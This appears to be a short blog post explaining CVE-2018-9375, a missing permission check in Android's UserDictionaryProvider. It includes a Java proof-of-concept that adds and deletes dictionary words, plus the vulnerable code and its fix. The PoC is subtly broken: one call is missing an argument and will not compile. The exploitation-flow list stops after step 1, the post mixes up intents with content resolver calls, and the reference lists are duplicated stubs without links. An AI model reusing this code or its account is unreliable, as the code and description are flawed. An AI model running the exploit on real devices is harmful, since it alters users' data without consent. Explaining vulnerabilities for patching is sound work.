CVE-2018-9375 - Exploiting Confused Deputy in UserDictionaryProvider for Local Privilege Escalation on Android
CVE-2018-9375 is a vulnerability discovered in the Android operating system that enables attackers to add and remove words from the device's user dictionary without user consent. This bug is an example of a "confused deputy" security flaw that allows local apps to escalate their privileges, all without any user interaction.
This post explains the vulnerability in simple terms, shows a code snippet for exploiting it, and includes links to the original references.
What is UserDictionaryProvider?
On Android, apps use UserDictionaryProvider to read, add, or remove custom words that the system’s spell checker and keyboard reference. Normally, access is controlled so only authorized apps can change the dictionary.
In Android versions before the fix, this provider has a "confused deputy" flaw. This means an app without dictionary privileges can trick the system into performing actions (adding or deleting words) it shouldn't, using the authority of another app or service.
Exploit Details
The root cause lies in improper permission checks in the UserDictionaryProvider.java file. Some methods in this file (like insert() or delete()) do not verify the calling app’s permissions. Anyone with access to a content resolver can send crafted intents to the provider and add/delete dictionary entries.
The Exploitation Flow
1. A malicious app sends a content resolver request to content://user_dictionary/words.
Exploit Code Snippet
Let's look at a proof-of-concept code snippet. You would add this to a normal Android app with no special permissions.
// Add a fake word to the user dictionary without permissions
ContentValues values = new ContentValues();
values.put("word", "maliciousword");
values.put("locale", "en_US");
values.put("appid", );
values.put("frequency", 250);
Uri uri = Uri.parse("content://user_dictionary/words");
getContentResolver().insert(uri, values);
// Remove a specific word
String selection = "word=?";
String[] selectionArgs = {"innocentword"};
getContentResolver().delete(uri, selection, selectionArgs);
Technical Reference
Original vulnerable code looks like this (excerpt from AOSP UserDictionaryProvider.java):
@Override
public Uri insert(Uri uri, ContentValues values) {
// ... no permission check!
db.insert(TABLE_WORDS, null, values);
// ...
}
The fix was to add checks like
enforceCallingPermission(Manifest.permission.WRITE_USER_DICTIONARY, "No permission to modify user dictionary");
Timeline and References
- Google assigned CVE-2018-9375
- Android Security Bulletin: 2018-09-01
- AOSP Patch (shows permissions fixes)
- Mitre Details
Summary
CVE-2018-9375 shows how missing a simple permission check can leave a system open to privilege escalation. Even places we don’t notice, like the auto-correct dictionary, can be a door for attackers.
Staying up-to-date with security patches is always your best defense.
References
1. Android Security Bulletin—September 2018
2. CVE Details for CVE-2018-9375
3. AOSP Patch Commit
4. Mitre CVE Entry
Timeline
Published on: 01/17/2025 23:15:11 UTC
Last modified on: 03/13/2025 15:15:36 UTC